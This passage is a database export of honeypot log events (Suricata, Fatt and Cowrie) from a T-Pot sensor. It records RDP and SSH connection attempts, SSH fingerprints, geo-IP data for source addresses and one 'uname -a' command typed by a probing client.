32806	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:53:31.525995+03	2021-09-20 15:00:03.944723+03	{"_id": "egYNA3wBvYTbRNuE3ExI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:27.756899+0000", "pkts_toclient": 6, "pkts_toserver": 6, "bytes_toclient": 391, "bytes_toserver": 415}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1823331564620963, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58853, "dest_port": 3389, "timestamp": "2021-09-20T11:53:31.525995Z", "@timestamp": "2021-09-20T11:53:31.525Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32807	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:32.339801+03	2021-09-20 15:00:03.945722+03	{"_id": "ewYNA3wBvYTbRNuE3UxQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44558, "timestamp": "2021-09-20T11:53:32.339801", "@timestamp": "2021-09-20T11:53:32.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32808	221.181.185.94	109.199.241.180	Suricata	2021-09-20 14:53:32.67108+03	2021-09-20 15:00:03.946723+03	{"_id": "iAYNA3wBvYTbRNuE4Ewx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:51:32.020702+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 229, "bytes_toserver": 1188}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "221.181.185.94", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "221.181.185.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 215639398830302, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 40687, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:53:32.671080Z", "@timestamp": "2021-09-20T11:53:32.671Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
32809	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:33.338625+03	2021-09-20 15:00:03.948722+03	{"_id": "igYNA3wBvYTbRNuE4Uw5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50216, "timestamp": "2021-09-20T11:53:33.338625", "@timestamp": "2021-09-20T11:53:33.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32810	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:53:33.949636+03	2021-09-20 15:00:03.949722+03	{"_id": "kQYNA3wBvYTbRNuE4kyt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "0f07cd2dc626", "@version": "1", "duration": 1.6122534275054932, "timestamp": "2021-09-20T11:53:33.949636Z", "@timestamp": "2021-09-20T11:53:33.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32811	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.942104+03	2021-09-20 15:00:03.951722+03	{"_id": "YwYNA3wBvYTbRNuE00wL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:29.942104Z", "@timestamp": "2021-09-20T11:53:29.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32812	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:30.569536+03	2021-09-20 15:00:03.952722+03	{"_id": "cQYNA3wBvYTbRNuE1kz0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "159.253.30.249", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.05720710754394531, "duplicate": true, "timestamp": "2021-09-20T11:53:30.569536Z", "@timestamp": "2021-09-20T11:53:30.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32813	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:53:31.113628+03	2021-09-20 15:00:03.954723+03	{"_id": "dAYNA3wBvYTbRNuE2Exf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:27.756899+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 264, "bytes_toserver": 289}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1823331564620963, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58853, "dest_port": 3389, "timestamp": "2021-09-20T11:53:31.113628Z", "@timestamp": "2021-09-20T11:53:31.113Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32814	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:53:31.113628+03	2021-09-20 15:00:03.955723+03	{"_id": "dgYNA3wBvYTbRNuE2Uxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 58853, "dest_port": 3389, "timestamp": "2021-09-20T11:53:31.113628", "@timestamp": "2021-09-20T11:53:31.113Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
32815	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:53:31.618092+03	2021-09-20 15:00:03.956722+03	{"_id": "dwYNA3wBvYTbRNuE2kzc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "395d8c9aae3b", "@version": "1", "duration": 5.774321794509888, "timestamp": "2021-09-20T11:53:31.618092Z", "@timestamp": "2021-09-20T11:53:31.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32816	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:53:31.525995+03	2021-09-20 15:00:03.957723+03	{"_id": "eQYNA3wBvYTbRNuE3ExI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:27.756899+0000", "pkts_toclient": 6, "pkts_toserver": 6, "bytes_toclient": 391, "bytes_toserver": 415}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1823331564620963, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58853, "dest_port": 3389, "timestamp": "2021-09-20T11:53:31.525995Z", "@timestamp": "2021-09-20T11:53:31.525Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32817	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:53:32.422218+03	2021-09-20 15:00:03.959722+03	{"_id": "iQYNA3wBvYTbRNuE4Ewx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:53:32.251435+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1778468484077099, "payload": "AAADzAYUVvPcSkk3Wk4Mv0c2JRv5DwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44558, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:53:32.422218Z", "@timestamp": "2021-09-20T11:53:32.422Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......V..JI7ZN..G6%......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32818	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:53:32.422218+03	2021-09-20 15:00:03.960722+03	{"_id": "iwYNA3wBvYTbRNuE4Uw5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44558, "dest_port": 22, "timestamp": "2021-09-20T11:53:32.422218", "@timestamp": "2021-09-20T11:53:32.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32819	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:53:33.333334+03	2021-09-20 15:00:03.962723+03	{"_id": "kgYNA3wBvYTbRNuE4kyt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:50216 (192.168.176.2:22) [session: ac815d7ebe12]", "session": "ac815d7ebe12", "@version": "1", "protocol": "ssh", "src_port": 50216, "dest_port": 22, "timestamp": "2021-09-20T11:53:33.333334Z", "@timestamp": "2021-09-20T11:53:33.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32820	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:53:33.336361+03	2021-09-20 15:00:03.963723+03	{"_id": "kwYNA3wBvYTbRNuE4kyt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ac815d7ebe12", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:33.336361Z", "@timestamp": "2021-09-20T11:53:33.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32821	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:53:33.629211+03	2021-09-20 15:00:03.964722+03	{"_id": "lQYNA3wBvYTbRNuE5Ewa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", 